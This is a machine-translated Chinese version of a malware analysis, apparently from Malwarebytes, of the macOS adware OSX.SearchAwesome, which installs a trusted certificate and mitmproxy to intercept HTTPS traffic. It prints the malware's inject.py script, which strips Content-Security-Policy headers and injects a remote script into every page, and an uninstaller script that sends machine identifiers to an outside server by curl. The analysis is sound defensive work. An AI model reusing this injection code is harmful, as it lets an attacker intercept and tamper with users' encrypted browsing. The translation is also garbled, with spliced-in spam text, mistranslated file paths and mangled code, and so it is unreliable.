上周,Malwareb必威平台APPytes的研究员亚当·托马斯(Adam Thomas)发现了一个有趣的Mac恶意软件,它表现出了一些令人不安的行为,包括拦截加密的网络流量来注入广告。让我们更仔细地看看这个广告软件,Malwarebytes for Mac检测为OSX。SearchAwesome,以了解它是如何安装的、它的行为以及这种攻击的影响。

安装

恶意软件是在一个相当平淡的磁盘映像文件中发现的,没有任何通常的装饰,这可能使它看起来像一个合法的安装程序。

当打开时,应用程序不会显示安装程序,而是无形地安装其组件。它正在做任何事情的唯一证据来自两个身份验证请求。第一个是授权对证书信任设置的更改的请求。

第二种是允许名为spi的东西修改网络配置。

由于该恶意软件是在第二阶段发布的,由另一个恶意安装程序下载——一个被认为是从洪流中破解的应用程序——这是说得通的。它不需要漂亮的用户界面,因为用户只会看到密码请求,而这些请求将位于另一个安装程序的上下文中。

广告软件的行为

spinstall应用程序,像许多广告软件一样,安装一个应用程序和一对启动代理:

/应用程序/ spi。应用~ /图书馆/ LaunchAgents / spid-uninstall。plist ~ /图书馆/ LaunchAgents / spid.plist

spid。Plist代理被设计用于启动spi。App,但有趣的是它并不是为了让App持续运行而设计的。如果用户强制应用程序退出,它将不会重新打开,直到计算机重新启动或用户注销并返回。

有趣的是,蜘蛛卸载。Plist代理监视spi。应用程序,如果应用程序被删除了,它就会删除恶意软件的其他组件。(稍后详述。)

然而,它也与其他广告软件显著不同,因为它安装了用于中间人(MitM)进攻在那里,恶意软件能够将自己插入某个托管链的某处,通常是通过网络数据包。

在这种情况下,恶意软件使用证书作为访问https通信的第一步,这些通信通常在浏览器和网站之间被加密,其他软件无法查看。但是,受系统信任的证书(如果您在安装过程中被要求输入密码,则该证书将受信任)可用于拦截https通信。

接下来,恶意软件安装一个名为mitmproxy的开源程序。根据mitmproxy网站的说法,该软件“可以用来拦截、检查、修改和重放网络流量。”使用mitmproxy项目实际拥有的证书,该软件不仅能够处理未加密的http通信,还可以处理加密的https通信。

该软件旨在使用这种功能来修改web流量,目的是将JavaScript注入每个页面。这可以在恶意软件安装的inject.py脚本中看到:

from mitmproxy import http def response(flow: http. httpflow) ->无。Status_code == 200:如果“text/html”在flow.response. response中。标题(“内容类型”):flow.response.headers。pop("content-security-policy", None)pop("content-security-policy-report-only", None) script_url = "https://chaumonttechnology.com/ia/script/d.php?uid=d7a477399cd589dcfe240e9f5c3398e2&a=3675&v=a1.0.0.25" html = flow.response.content html = html.decode().replace("", "http://+script_url+flow.response.content = str(html).encode("utf8")

如图所示,恶意软件将从恶意网站加载的脚本注入到被感染计算机上加载的每个网页的末尾。

卸载程序

如果spi。App被删除后,蜘蛛卸载。Plist代理将运行以下脚本:

如果![-d "/应用程序/spi。应用程序”);then networksetup -setsecurewebproxystate "Wi-Fi" off networksetup -setwebproxystate "Ethernet" off networksetup -setsecurewebproxystate "Ethernet" off VERSION=$(defaults read com.searchpage.spi VERSION) AID=$(defaults read com.searchpage.spi AID) UNIQUE_ID=$(defaults read com.searchpage.spi UNIQUE_ID) curl "http://www.searchawesome.net/uninstall.php?un=1&v=$VERSION&reason=&unique_id=$UNIQUE_ID&aid=$AID" defaults delete com.searchpage.spi defaults .spidelete com.searchpage.spiinstall rm ~/Library/LaunchAgents/ spider -uninstall. deleteplist rm ~/Library/LaunchAgents/spid. plist rm ~/Library/LaunchAgents/spid。plist fi

这可以做几件事。首先,它禁用最初设置的代理。接下来,它从程序的首选项中获取一些信息,并将这些信息发送到web服务器。最后,它删除首选项和启动代理(尽管它没有正确地卸载它们)。

在该过程的第一步,脚本将导致身份验证请求出现四次,每次都需要密码。

我通常不建议使用你想要删除的恶意软件提供的卸载程序。有很多情况是,卸载程序在安装新组件的同时删除其他组件。一个例子是Genieo恶意软件从2014年开始,这家公司多年来一直在反复这么做。

在这种卸载程序的情况下,重要的是要注意它留下了mitmproxy软件,以及mitmproxy用来访问加密的web流量的证书,该证书已被系统标记为受信任的。

影响

乍一看,这个广告软件似乎相当无害,因为它只是注入一个提供广告的脚本。然而,外表可能具有欺骗性。由于该脚本是从服务器加载的,因此服务器的内容随时都可能更改。它可以从提供广告转变为窃取用户数据或将用户重定向到钓鱼网站。例如,想象一下,如果一个脚本只被注入到一个特定的银行网站上,并且该脚本将用户重定向到一个旨在窃取用户银行凭证的钓鱼页面。

注入的脚本可以用来做任何事情,从挖掘加密货币到捕获浏览数据,再到键盘记录等等。更糟糕的是,恶意软件本身可以通过MitM攻击隐形地捕获数据,而不依赖JavaScript或修改网页内容。

即使恶意软件消失了,它的潜在危害也没有消失。通过留下它用来执行MitM攻击的工具,它创造了一种情况,另一个恶意软件——可能比这个更邪恶——可以利用这些工具的存在来捕获加密的网络流量。

必威平台APPMac的恶意软件字节将检测并删除这个恶意软件的组件,它被检测为OSX.SearchAwesome。但是,它不会删除mitmproxy的组件,因为它是一个合法的开源工具。如果感染了病毒,应从keychain中删除mitmproxy证书(使用keychain实用程序)。

妥协的指标

如果你在Mac电脑上看到以下任何一种情况,它们都表明该电脑已经感染了这种恶意软件:

/应用程序/ spi。应用~ /图书馆/ LaunchAgents / spid-uninstall。plist ~ /图书馆/ LaunchAgents / spid.plist~/Library/SPI/

以下项目是mitmproxy正在或已经安装的标志:

~ / .mitmproxy /

具有通用名称mitmproxy的证书: